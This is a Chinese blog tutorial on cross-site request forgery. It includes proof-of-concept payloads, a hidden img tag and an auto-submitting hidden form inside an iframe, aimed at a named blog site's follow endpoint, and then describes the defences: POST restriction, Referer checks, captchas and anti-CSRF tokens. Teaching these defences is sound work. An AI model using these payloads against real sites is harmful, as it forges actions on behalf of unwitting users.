CSRF 攻击
CSRF 攻击
CSRF（Cross Site Request Forgery 跨站点请求伪造）
什么是CSRF 攻击
直接举例说明
常见CSRF攻击
假设有一个加关注的GET接口[FollowBlogger]，参数userGuid是被关注人ID，如：
http://www.frankcyoung.com/mvc/Follow/FollowBlogger.aspx?userGuid=4e8c33d0-77fe-df11-ac81-842b2b196315
记住上面的请求，请求接口【FollowBlogger.aspx】,传递参数“被关注人ID”【userGuid】。
然后我在一篇新的博客添加一个img，如下：
<img style="width:0;" src="http://www.frankcyoung.com/mvc/Follow/FollowBlogger.aspx?userGuid=4e8c33d0-77fe-df11-ac81-842b2b196315" />
当用户点开这篇博客的时候，在程序默认加载的时候，会调用这个接口，并关注userGuid对应的用户
较高级版本CSRF攻击
依然是博客关注功能，不过已经限制了只获取POST请求的数据。此时做一个第三方页面（把这段代码包装起来，包含form表单），然后通过QQ、邮件分享诱导别人打开即可（js自动触发form表单提交），这样在打开时依然会调用关注接口，这个页面如何做呢？第一个想到的就是加一个隐藏域，并把form放进去，代码如下：
<html lang="en-US">
<head>
<title>CSRF SHOWtitle>
head>
<body>
<iframe style="display:none;">
<form name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
<input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
<input type="submit" value>
form>
<script>
document.forms.form1.submit();
script>
iframe>
body>
html>
上面代码form表单post 请求是失效的，由于同源策略原因，iframe内容根本加载不出来，所以里面form提交当然不会执行。
同源策略【百度百科】
修改一下代码，让其有效
<html lang="en-US">
<head>
<title>CSRF SHOWtitle>
head>
<body>
<iframe style="display:none;" src="test2.html">iframe>
body>
html>
test2.html
<html lang="en-US">
<head>
<title>CSRF GETtitle>
<body>
<form name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
<input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
<input type="submit" value>
form>
<script>
document.forms.form1.submit();
script>
body>
html>
为什么要多一层iframe，因为不嵌iframe页面会重定向，这样就降低了攻击的隐蔽性。另外我们test页面不使用XMLHTTPRequest发送POST请求，是因为有跨域的问题，而form可以跨域post数据。
第三种CSRF攻击
假如博客园还是有个加关注的接口，已经限制POST，但博文内容是直接贴进HTML（未过滤），那就遭受XSS攻击。那么就可以直接把上面代码嵌入博文，那么只要有人打开我这篇博文，还是会自动关注我，这组合攻击方式称为XSRF。
CSRF攻击本质原因
CSRF攻击是源于 Web的隐式身份验证机制！ Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的。CSRF攻击的一般是由服务端解决。
CSRF工具的防御手段
-
尽量使用POST，限制GET
由第一个例子可以看出，GET请求太容易做CSRF攻击，而img标签又是不能过滤的数据。接口限制为POST请求，GET失效，降低攻击风险。
POST虽然也可以做到攻击，但是需要第三方页面做（如上面的例子），增加了暴露的可能性。 -
浏览器Cookie策略
IE6、7、8、Safari会默认拦截第三方本地Cookie（Third-party Cookie）的发送。但是Firefox2、3、Opera、Chrome、Android等不会拦截，所以通过浏览器Cookie策略来防御CSRF攻击不靠谱，只能说是降低了风险。
PS：Cookie分为两种，Session Cookie（在浏览器关闭后，就会失效，保存到内存里），Third-party Cookie（即只有到了Exprie时间后才会失效的Cookie，这种Cookie会保存到本地）。
PS：另外如果网站返回HTTP头包含P3P Header，那么将允许浏览器发送第三方Cookie。 -
加验证码
验证码，强制用户必须与应用进行交互，才能完成最终请求。但是出于用户体验考虑，网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段，不能作为主要解决方案。 -
Refer Check
Referer Check在Web最常见的应用就是“防止图片盗链”。同理，Referer Check也可以被用于检查请求是否来自合法的“源”（Referer值是否是指定页面，或者网站的域），如果都不是，那么就极可能是CSRF攻击。
但是因为服务器并不是什么时候都能取到Referer，所以也无法作为CSRF防御的主要手段。但是用Referer Check来监控CSRF攻击的发生，倒是一种可行的方法。 -
Anti CSRF Token
业界对CSRF的防御，一致的做法是使用Token（Anti CSRF Token）
例如：- 用户访问某个表单页面。
- 服务端生成一个Token，放在用户的Session中，或者浏览器的Cookie中。
- 在页面表单附带上Token参数。
- 用户提交请求后， 服务端验证表单中的Token是否与用户Session（或Cookies）中的Token一致，一致为合法请求，不是则非法请求。
这个Token的值必须是随机的，不可预测的。由于Token的存在，攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性，尽量把敏感操作由GET改为POST，以form或AJAX形式提交，避免Token泄露。
注意：
CSRF的Token仅仅用于对抗CSRF攻击。当网站同时存在XSS漏洞时候，那这个方案也是空谈。所以XSS带来的问题，应该使用XSS的防御方案予以解决。